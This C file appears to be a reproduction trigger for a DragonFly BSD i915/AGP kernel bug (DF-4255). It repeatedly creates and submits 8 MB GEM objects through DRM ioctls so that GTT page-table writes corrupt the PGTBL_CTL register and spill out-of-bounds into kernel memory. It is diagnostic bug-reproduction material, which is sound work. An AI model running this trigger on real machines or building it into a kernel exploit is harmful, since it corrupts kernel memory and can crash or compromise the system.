/*
 * DF-4255 trigger — drive GGTT PTE installation through the agp_i915 path
 * on a 915G/945G-class machine.
 *
 * Would-be behavior on affected hardware: every EXECBUFFER2 submit binds
 * the batch object into the GGTT via intel_gtt_insert_sg_entries ->
 * agp_i915_write_gtt, which on DragonFly writes the PTE to MMADR
 * (sc_res[0]) — the register BAR — instead of GTTADR (sc_res[1]).
 *
 * The loop creates and execs many objects so that successive allocations
 * climb to high GTT indices; index 0x808 overwrites PGTBL_CTL (MMADR
 * +0x2020) and, on a >128MB aperture, indices >= 32768 write past the
 * mapped MMADR resource (OOB write into adjacent kernel KVA).
 *
 * Self-contained (vendored uapi definitions from
 * sys/dev/drm/include/uapi/drm/i915_drm.h) so it builds without the
 * kernel's linux/types.h chain.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>

#define DRM_COMMAND_BASE	0x40
#define DRM_IOCTL_BASE		'd'

#define DRM_I915_GEM_CREATE	0x1b
#define DRM_I915_GEM_EXECBUFFER2 0x29

struct drm_i915_gem_create {
	uint64_t size;
	uint32_t handle;
	uint32_t pad;
};

/* exact layout from sys/dev/drm/include/uapi/drm/i915_drm.h */
struct drm_i915_gem_exec_object2 {
	uint32_t handle;
	uint32_t relocation_count;
	uint64_t relocs_ptr;
	uint64_t alignment;
	uint64_t offset;
	uint64_t flags;
	uint64_t rsvd1;
	uint64_t pad_to_size;
	uint64_t rsvd2;
};

struct drm_i915_gem_execbuffer2 {
	uint64_t buffers_ptr;
	uint32_t buffer_count;
	uint32_t batch_start_offset;
	uint32_t batch_len;
	uint32_t DR1;
	uint32_t DR4;
	uint32_t num_cliprects;
	uint64_t cliprects_ptr;
	uint64_t flags;
	uint64_t rsvd1;
	uint64_t rsvd2;
};

#define I915_EXEC_RENDER	(1 << 0)

#define IOCTL_CREATE	_IOWR(DRM_IOCTL_BASE, \
	DRM_COMMAND_BASE + DRM_I915_GEM_CREATE, struct drm_i915_gem_create)
#define IOCTL_EB2	_IOW(DRM_IOCTL_BASE, \
	DRM_COMMAND_BASE + DRM_I915_GEM_EXECBUFFER2, struct drm_i915_gem_execbuffer2)

static int fd;

static uint32_t gem_create(uint64_t size)
{
	struct drm_i915_gem_create gc;

	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	if (ioctl(fd, IOCTL_CREATE, &gc) < 0) {
		perror("DRM_IOCTL_I915_GEM_CREATE");
		exit(1);
	}
	return gc.handle;
}

int main(void)
{
	struct drm_i915_gem_execbuffer2 eb;
	struct drm_i915_gem_exec_object2 obj[1];
	uint32_t batch;
	int i;

	fd = open("/dev/dri/card0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/dri/card0");
		return 1;
	}

	/* 8 MB object => 2048 PTEs per bind; walk the allocator upward */
	for (i = 0; i < 96; i++) {
		batch = gem_create(8 * 1024 * 1024);

		memset(obj, 0, sizeof(obj));
		obj[0].handle = batch;

		memset(&eb, 0, sizeof(eb));
		eb.buffers_ptr = (uintptr_t)obj;
		eb.buffer_count = 1;
		eb.batch_len = 0;		/* nop submit: bind only */
		eb.flags = I915_EXEC_RENDER;

		if (ioctl(fd, IOCTL_EB2, &eb) < 0) {
			perror("EXECBUFFER2");
			continue;
		}
		printf("bind %d ok (GTT walk %d KB deep)\n",
		    i, (i + 1) * 8 * 1024);
		fflush(stdout);
	}
	printf("done — check dmesg for GPU faults / PGTBL_CTL corruption\n");
	return 0;
}
